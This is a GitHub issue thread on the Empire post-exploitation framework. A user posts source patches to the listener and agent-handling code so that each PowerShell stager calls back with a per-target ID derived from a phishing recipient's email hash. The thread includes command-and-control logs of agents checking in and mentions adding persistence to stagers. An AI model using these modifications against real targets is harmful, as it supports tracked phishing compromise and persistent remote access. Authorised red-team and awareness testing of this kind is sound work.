Skip to content
This repository has been archived by the owner on Jan 29, 2020. It is now read-only.

Add a unique identifier to agent #1346

Open
The-Deer-Hunter opened this issue Apr 9, 2019 · 5 comments
Open

Add a unique identifier to agent #1346

The-Deer-Hunter opened this issue Apr 9, 2019 · 5 comments

Comments

@The-Deer-Hunter
Copy link

The-Deer-Hunter commented Apr 9, 2019

Hello there, thanks for the amazing work.

Ideally I would like to identify a specific agent connecting to my server. I'm currently using the Empire's API to generate stagers and edit them (adding full persistence and loading them into customized templates). I'm currently stucked at finding a way to be able to identify precisely which agent connected.

I have to set up preventive phishing campaigns to several email lists. What I'd like to achieve is to customize each payload to a target. I was planning on adding a md5 of the email address wherever I could recover it on my server. I tried to edit headers (adding some and editing UserAgent at stager's generation) and every agent's attribute in the stager generated. Unfortunately most of these are listener dependent as the stager is only there to initiate the communication with said listener.

How could I achieve such thing ? I've already looked up sources and it seems that I'd have to edit many things to make such thing doable.

Thanks for your responses, even though I'm pretty sure this is not easily doable.


I would like to be able to recover a value from the original stager in one of these fields.
ideal

@mr64bit
Copy link
Contributor

mr64bit commented Apr 9, 2019 via email

@The-Deer-Hunter
Copy link
Author

Hey thanks for you quick response.

Very glad to know that you already been thinking about such a feature.

If I correctly understood the staging process, the user agent embedded in the stagger (which comes from the related listener profile) is only used for the first communication and then the headers are updated with the corresponding listener's profile (listeners are not the same in my case, as I only generate a temporary listener to create a stager), am I right ?

Indeed I did not think of this solution. I'll take an in-depth look at this file. Hopefully, agent's name is not size limited.

Thank you very much.

@The-Deer-Hunter
Copy link
Author

I monkey patched to my needs. I actually had to edit a bit more than expected in http.py as the sessionID is generated by the client itself (which I struggled to find out). As the sessionID is size limited as packets.py mentions :

+-----------+------+------+-------+--------+
| SessionID | Lang | Meta | Extra | Length |
+-----------+------+------+-------+--------+
|    8      |  1   |  1   |   2   |    4   |
+-----------+------+------+-------+--------+

I only picked the 4 starting chars of my client identifier plus an underscore (to see which client if identified) and 3 randomized char to keep the client able to reconnect. That's how I did it (you'll have to add a header to the generated stager named 'Identifier', 4 char minimum long) if you want to get it to work.

Of course it may induce many bugs, but with some tests it fits my needs :

Edit lib/listeners/http.py :

  • line 1016 add :
forcedID = ""
if "Identifier" in request.headers :
    forcedID = request.headers['Identifier'][:4] + "_" + "".join(random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(3))
  • edit line below (add an argument to function call) :
stage = self.generate_stager(forcedID, language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
  • edit function definition itself (line 518) :
def generate_stager(self, forcedID, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None):
  • line 570, add :
if forcedID :
    stager = stager.replace('$ID=-join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 8);','$ID="' + forcedID + '";')

And :

[...]
[*] Sending POWERSHELL stager (stage 1) to 192.168.56.101
[*] New agent ae78_Y2I checked in
[+] Initial agent ae78_Y2I from 192.168.56.101 now active (Slack)
[*] Sending agent (stage 2) to ae78_Y2I at 192.168.56.101
[...]

@ThePirateWhoSmellsOfSunflowers
Copy link
Contributor

Very cool and useful idea 👍

🌻

@The-Deer-Hunter
Copy link
Author

Simple way to achieve this (without limited ID length) :

Source changes to be made are :

agents.py : ligne 93 : add
	self.agentsForcedID = {}

agents.py : ligne 1507 : mod
def handle_agent_data(self, _forcedID, stagingKey, routingPacket, listenerOptions, clientIP='0.0.0.0', update_lastseen=True):

agents.py : ligne 1533 : add
            if meta == 'STAGE0' or meta == 'STAGE1' or meta == 'STAGE2' and _forcedID != "":
                self.agentsForcedID[sessionID] = _forcedID + '_' + sessionID
            try :
                sessionID = self.agentsForcedID[sessionID]
            except :
                pass

http.py : ligne 1083 : add
            _forcedID = ""
            if "Identifier" in request.headers :
                _forcedID = request.headers['Identifier']

http.py : ligne 1086 : mod
dataResults = self.mainMenu.agents.handle_agent_data(_forcedID, stagingKey, requestData, listenerOptions, clientIP)

http.py : ligne 1001 : mod
dataResults = self.mainMenu.agents.handle_agent_data("", stagingKey, routingPacket, listenerOptions, clientIP)

Or use a patch :
https://pastebin.com/rJTKhW7Y
Go into Empire main folder before launching install.sh :
#patch --strip=1 --input=/path/empireForceIDs.patch

To use this i'm editing stagers after generation to add a headers called "Identifier" containing an ID (to my its campain name + hash of mail address). The agent will take this ID plus a normal 8 char ID separated by an underscore. It then will bug if empire is restarted or if agents lose connection. This because the stager running and initiating is no longer the one previously executed by the target (and does not have the header embedded). Agents will still connect but without a the custom ID. As i'm also editing stager to get full persistence this is not so much of a problem.

[...]
(Empire: agents) > [*] Sending POWERSHELL stager (stage 1) to 192.168.56.101
[*] New agent CAMPAIGN-01_MWM1ZWI0MzExNWViODg1ZDczODI1M2I2_XS3GVH7W checked in
[+] Initial agent CAMPAIGN-01_MWM1ZWI0MzExNWViODg1ZDczODI1M2I2_XS3GVH7W from 192.168.56.101 now active (Slack)
[*] Sending agent (stage 2) to CAMPAIGN-01_MWM1ZWI0MzExNWViODg1ZDczODI1M2I2_XS3GVH7W at 192.168.56.101
[*] Sending POWERSHELL stager (stage 1) to 192.168.56.101
[*] New agent CAMPAIGN-01_ZDMyMDQ0NTAyNzZiMDZkNDFjMmY1M2Yy_6UX7ZPM4 checked in
[+] Initial agent CAMPAIGN-01_ZDMyMDQ0NTAyNzZiMDZkNDFjMmY1M2Yy_6UX7ZPM4 from 192.168.56.101 now active (Slack)
[*] Sending agent (stage 2) to CAMPAIGN-01_ZDMyMDQ0NTAyNzZiMDZkNDFjMmY1M2Yy_6UX7ZPM4 at 192.168.56.101
[...]

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants